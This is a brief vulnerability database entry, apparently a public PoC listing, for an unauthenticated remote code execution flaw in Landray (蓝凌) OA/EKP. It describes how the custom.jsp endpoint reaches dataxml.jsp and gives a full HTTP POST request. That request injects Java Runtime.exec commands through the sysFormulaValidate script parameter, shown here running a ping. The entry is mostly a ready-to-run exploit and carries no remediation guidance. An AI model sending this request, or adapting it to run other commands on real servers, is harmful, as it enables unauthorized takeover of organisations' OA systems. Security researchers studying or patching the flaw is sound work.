蓝凌OA /dataxml.jsp 路径 sysFormulaValidate 存在远程代码执行漏洞

2023-01-06 蓝凌EKP PoC Public

Description

蓝凌OA dataxml.jsp文件 存在命令执行漏洞，可以通过 custom.jsp 文件未授权执行命令，或者通过其他未授权漏洞组合进行未授权执行命令

PoC

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 141
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED] Safari/537.36

var={"body":{"file":"/tic/core/resource/js/erp_data.jsp"}}&erpServcieName=sysFormulaValidate&script=Runtime.getRuntime().exec("ping -nc 1 ");

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Source: https://stack.chaitin.com/vuldb/detail/0ffc476c-dd4e-4cbb-bb17-eb46c9c5bb68

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